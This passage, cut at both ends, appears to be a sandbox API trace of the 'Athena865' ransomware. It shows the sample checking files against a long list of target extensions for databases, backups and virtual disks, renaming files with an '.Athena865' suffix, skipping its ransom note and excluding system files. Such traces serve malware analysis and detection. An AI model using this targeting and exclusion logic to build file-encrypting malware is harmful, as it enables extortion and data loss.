lpString2="adn") returned 1 [0046.320] lstrlenW (lpString="adp") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0046.320] lstrlenW (lpString="alf") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0046.320] lstrlenW (lpString="ask") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0046.320] lstrlenW (lpString="btr") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0046.320] lstrlenW (lpString="cat") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0046.320] lstrlenW (lpString="cdb") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0046.320] lstrlenW (lpString="ckp") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0046.321] lstrlenW (lpString="cma") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0046.321] lstrlenW (lpString="cpd") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0046.321] lstrlenW (lpString="dacpac") returned 6 [0046.321] lstrcmpiW (lpString1="ty.exe", lpString2="dacpac") returned 1 [0046.321] lstrlenW (lpString="dad") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0046.321] lstrlenW (lpString="dadiagrams") returned 10 [0046.321] lstrcmpiW (lpString1="oyalty.exe", lpString2="dadiagrams") returned 1 [0046.321] lstrlenW (lpString="daschema") returned 8 [0046.321] lstrcmpiW (lpString1="alty.exe", lpString2="daschema") returned -1 [0046.321] lstrlenW (lpString="db-journal") returned 10 [0046.321] lstrcmpiW (lpString1="oyalty.exe", lpString2="db-journal") returned 1 [0046.321] lstrlenW (lpString="db-shm") returned 6 [0046.321] lstrcmpiW (lpString1="ty.exe", lpString2="db-shm") returned 1 [0046.321] lstrlenW (lpString="db-wal") returned 6 [0046.321] lstrcmpiW (lpString1="ty.exe", lpString2="db-wal") returned 1 [0046.321] lstrlenW (lpString="dbc") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0046.321] lstrlenW (lpString="dbs") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0046.321] lstrlenW (lpString="dbt") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0046.321] lstrlenW (lpString="dbv") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0046.321] lstrlenW (lpString="dbx") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0046.321] lstrlenW (lpString="dcb") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0046.321] lstrlenW (lpString="dct") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0046.321] lstrlenW (lpString="dcx") returned 3 [0046.321] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0046.321] lstrlenW (lpString="ddl") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0046.322] lstrlenW (lpString="dlis") returned 4 [0046.322] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0046.322] lstrlenW (lpString="dp1") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0046.322] lstrlenW (lpString="dqy") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0046.322] lstrlenW (lpString="dsk") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0046.322] lstrlenW (lpString="dsn") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0046.322] lstrlenW (lpString="dtsx") returned 4 [0046.322] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0046.322] lstrlenW (lpString="dxl") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0046.322] lstrlenW (lpString="eco") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0046.322] lstrlenW (lpString="ecx") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0046.322] lstrlenW (lpString="edb") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0046.322] lstrlenW (lpString="epim") returned 4 [0046.322] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0046.322] lstrlenW (lpString="fcd") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0046.322] lstrlenW (lpString="fdb") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0046.322] lstrlenW (lpString="fic") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0046.322] lstrlenW (lpString="flexolibrary") returned 12 [0046.322] lstrcmpiW (lpString1=" royalty.exe", lpString2="flexolibrary") returned -1 [0046.322] lstrlenW (lpString="fm5") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0046.322] lstrlenW (lpString="fmp") returned 3 [0046.322] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0046.322] lstrlenW (lpString="fmp12") returned 5 [0046.323] lstrcmpiW (lpString1="y.exe", lpString2="fmp12") returned 1 [0046.323] lstrlenW (lpString="fmpsl") returned 5 [0046.323] lstrcmpiW (lpString1="y.exe", lpString2="fmpsl") returned 1 [0046.323] lstrlenW (lpString="fol") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0046.323] lstrlenW (lpString="fp3") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0046.323] lstrlenW (lpString="fp4") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0046.323] lstrlenW (lpString="fp5") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0046.323] lstrlenW (lpString="fp7") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0046.323] lstrlenW (lpString="fpt") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0046.323] lstrlenW (lpString="frm") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0046.323] lstrlenW (lpString="gdb") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0046.323] lstrlenW (lpString="gdb") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0046.323] lstrlenW (lpString="grdb") returned 4 [0046.323] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0046.323] lstrlenW (lpString="gwi") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0046.323] lstrlenW (lpString="hdb") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0046.323] lstrlenW (lpString="his") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0046.323] lstrlenW (lpString="ib") returned 2 [0046.323] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0046.323] lstrlenW (lpString="idb") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0046.323] lstrlenW (lpString="ihx") returned 3 [0046.323] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0046.324] lstrlenW (lpString="itdb") returned 4 [0046.324] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0046.324] lstrlenW (lpString="itw") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0046.324] lstrlenW (lpString="jet") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0046.324] lstrlenW (lpString="jtx") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0046.324] lstrlenW (lpString="kdb") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0046.324] lstrlenW (lpString="kexi") returned 4 [0046.324] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0046.324] lstrlenW (lpString="kexic") returned 5 [0046.324] lstrcmpiW (lpString1="y.exe", lpString2="kexic") returned 1 [0046.324] lstrlenW (lpString="kexis") returned 5 [0046.324] lstrcmpiW (lpString1="y.exe", lpString2="kexis") returned 1 [0046.324] lstrlenW (lpString="lgc") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0046.324] lstrlenW (lpString="lwx") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0046.324] lstrlenW (lpString="maf") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0046.324] lstrlenW (lpString="maq") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0046.324] lstrlenW (lpString="mar") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0046.324] lstrlenW (lpString="marshal") returned 7 [0046.324] lstrcmpiW (lpString1="lty.exe", lpString2="marshal") returned -1 [0046.324] lstrlenW (lpString="mas") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0046.324] lstrlenW (lpString="mav") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0046.324] lstrlenW (lpString="maw") returned 3 [0046.324] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0046.324] lstrlenW (lpString="mdbhtml") returned 7 [0046.324] lstrcmpiW (lpString1="lty.exe", lpString2="mdbhtml") returned -1 [0046.325] lstrlenW (lpString="mdn") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0046.325] lstrlenW (lpString="mdt") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0046.325] lstrlenW (lpString="mfd") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0046.325] lstrlenW (lpString="mpd") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0046.325] lstrlenW (lpString="mrg") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0046.325] lstrlenW (lpString="mud") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0046.325] lstrlenW (lpString="mwb") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0046.325] lstrlenW (lpString="myd") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0046.325] lstrlenW (lpString="ndf") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0046.325] lstrlenW (lpString="nnt") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0046.325] lstrlenW (lpString="nrmlib") returned 6 [0046.325] lstrcmpiW (lpString1="ty.exe", lpString2="nrmlib") returned 1 [0046.325] lstrlenW (lpString="ns2") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0046.325] lstrlenW (lpString="ns3") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0046.325] lstrlenW (lpString="ns4") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0046.325] lstrlenW (lpString="nsf") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0046.325] lstrlenW (lpString="nv") returned 2 [0046.325] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0046.325] lstrlenW (lpString="nv2") returned 3 [0046.325] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0046.325] lstrlenW (lpString="nwdb") returned 4 [0046.325] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0046.326] lstrlenW (lpString="nyf") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0046.326] lstrlenW (lpString="odb") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0046.326] lstrlenW (lpString="odb") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0046.326] lstrlenW (lpString="oqy") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0046.326] lstrlenW (lpString="ora") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0046.326] lstrlenW (lpString="orx") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0046.326] lstrlenW (lpString="owc") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0046.326] lstrlenW (lpString="p96") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0046.326] lstrlenW (lpString="p97") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0046.326] lstrlenW (lpString="pan") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0046.326] lstrlenW (lpString="pdb") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0046.326] lstrlenW (lpString="pdm") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0046.326] lstrlenW (lpString="pnz") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0046.326] lstrlenW (lpString="qry") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0046.326] lstrlenW (lpString="qvd") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0046.326] lstrlenW (lpString="rbf") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0046.326] lstrlenW (lpString="rctd") returned 4 [0046.326] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0046.326] lstrlenW (lpString="rod") returned 3 [0046.326] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0046.327] lstrlenW (lpString="rodx") returned 4 [0046.327] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0046.327] lstrlenW (lpString="rpd") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0046.327] lstrlenW (lpString="rsd") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0046.327] lstrlenW (lpString="sas7bdat") returned 8 [0046.327] lstrcmpiW (lpString1="alty.exe", lpString2="sas7bdat") returned -1 [0046.327] lstrlenW (lpString="sbf") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0046.327] lstrlenW (lpString="scx") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0046.327] lstrlenW (lpString="sdb") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0046.327] lstrlenW (lpString="sdc") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0046.327] lstrlenW (lpString="sdf") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0046.327] lstrlenW (lpString="sis") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0046.327] lstrlenW (lpString="spq") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0046.327] lstrlenW (lpString="te") returned 2 [0046.327] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0046.327] lstrlenW (lpString="teacher") returned 7 [0046.327] lstrcmpiW (lpString1="lty.exe", lpString2="teacher") returned -1 [0046.327] lstrlenW (lpString="tmd") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0046.327] lstrlenW (lpString="tps") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0046.327] lstrlenW (lpString="trc") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0046.327] lstrlenW (lpString="trc") returned 3 [0046.327] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0046.327] lstrlenW (lpString="trm") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0046.328] lstrlenW (lpString="udb") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0046.328] lstrlenW (lpString="udl") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0046.328] lstrlenW (lpString="usr") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0046.328] lstrlenW (lpString="v12") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0046.328] lstrlenW (lpString="vis") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0046.328] lstrlenW (lpString="vpd") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0046.328] lstrlenW (lpString="vvv") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0046.328] lstrlenW (lpString="wdb") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0046.328] lstrlenW (lpString="wmdb") returned 4 [0046.328] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0046.328] lstrlenW (lpString="wrk") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0046.328] lstrlenW (lpString="xdb") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0046.328] lstrlenW (lpString="xld") returned 3 [0046.328] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0046.328] lstrlenW (lpString="xmlff") returned 5 [0046.328] lstrcmpiW (lpString1="y.exe", lpString2="xmlff") returned 1 [0046.328] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe.Athena865") returned 80 [0046.328] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\account royalty.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\account royalty.exe.athena865"), dwFlags=0x1) returned 1 [0046.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\account royalty.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0046.329] GetLastError () returned 0x20 [0046.329] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe CreateFile error 32\r\n") returned 100 [0046.329] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe CreateFile error 32\r\n") returned 100 [0046.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0046.329] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a89 [0046.329] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x64, lpOverlapped=0x0) returned 1 [0046.329] CloseHandle (hObject=0x154) returned 1 [0046.330] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\account royalty.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\account royalty.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\account royalty.exe"), dwFlags=0x1) returned 1 [0046.331] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0046.331] CloseHandle (hObject=0x0) returned 0 [0046.331] CloseHandle (hObject=0xffffffff) returned 0 [0046.331] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0046.331] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0046.331] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="windows") returned -1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="bootmgr") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="temp") returned -1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="pagefile.sys") returned -1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="boot") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ids.txt") returned 1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ntuser.dat") returned -1 [0046.331] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="perflogs") returned -1 [0046.332] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="MSBuild") returned -1 [0046.332] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0046.332] lstrcpyW (in: lpString1=0x241e8ae, lpString2="maintenanceservice.exe" | out: lpString1="maintenanceservice.exe") returned="maintenanceservice.exe" [0046.332] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0046.332] lstrlenW (lpString="Athena865") returned 9 [0046.332] lstrcmpiW (lpString1="rvice.exe", lpString2="Athena865") returned 1 [0046.332] lstrlenW (lpString=".dll") returned 4 [0046.332] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".dll") returned 1 [0046.332] lstrlenW (lpString=".lnk") returned 4 [0046.332] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".lnk") returned 1 [0046.332] lstrlenW (lpString=".ini") returned 4 [0046.332] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".ini") returned 1 [0046.332] lstrlenW (lpString=".sys") returned 4 [0046.332] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".sys") returned 1 [0046.332] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0046.332] lstrlenW (lpString="bak") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0046.332] lstrlenW (lpString="ba_") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0046.332] lstrlenW (lpString="dbb") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0046.332] lstrlenW (lpString="vmdk") returned 4 [0046.332] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0046.332] lstrlenW (lpString="rar") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0046.332] lstrlenW (lpString="zip") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0046.332] lstrlenW (lpString="tgz") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0046.332] lstrlenW (lpString="vbox") returned 4 [0046.332] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0046.332] lstrlenW (lpString="vdi") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0046.332] lstrlenW (lpString="vhd") returned 3 [0046.332] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0046.333] lstrlenW (lpString="vhdx") returned 4 [0046.333] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0046.333] lstrlenW (lpString="avhd") returned 4 [0046.333] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0046.333] lstrlenW (lpString="db") returned 2 [0046.333] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0046.333] lstrlenW (lpString="db2") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0046.333] lstrlenW (lpString="db3") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0046.333] lstrlenW (lpString="dbf") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0046.333] lstrlenW (lpString="mdf") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0046.333] lstrlenW (lpString="mdb") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0046.333] lstrlenW (lpString="sql") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0046.333] lstrlenW (lpString="sqlite") returned 6 [0046.333] lstrcmpiW (lpString1="ce.exe", lpString2="sqlite") returned -1 [0046.333] lstrlenW (lpString="sqlite3") returned 7 [0046.333] lstrcmpiW (lpString1="ice.exe", lpString2="sqlite3") returned -1 [0046.333] lstrlenW (lpString="sqlitedb") returned 8 [0046.333] lstrcmpiW (lpString1="vice.exe", lpString2="sqlitedb") returned 1 [0046.333] lstrlenW (lpString="xml") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0046.333] lstrlenW (lpString="$er") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0046.333] lstrlenW (lpString="4dd") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0046.333] lstrlenW (lpString="4dl") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0046.333] lstrlenW (lpString="^^^") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0046.333] lstrlenW (lpString="abs") returned 3 [0046.333] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0046.333] lstrlenW (lpString="abx") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0046.334] lstrlenW (lpString="accdb") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0046.334] lstrlenW (lpString="accdc") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0046.334] lstrlenW (lpString="accde") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0046.334] lstrlenW (lpString="accdr") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0046.334] lstrlenW (lpString="accdt") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0046.334] lstrlenW (lpString="accdw") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0046.334] lstrlenW (lpString="accft") returned 5 [0046.334] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0046.334] lstrlenW (lpString="adb") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.334] lstrlenW (lpString="adb") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.334] lstrlenW (lpString="ade") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0046.334] lstrlenW 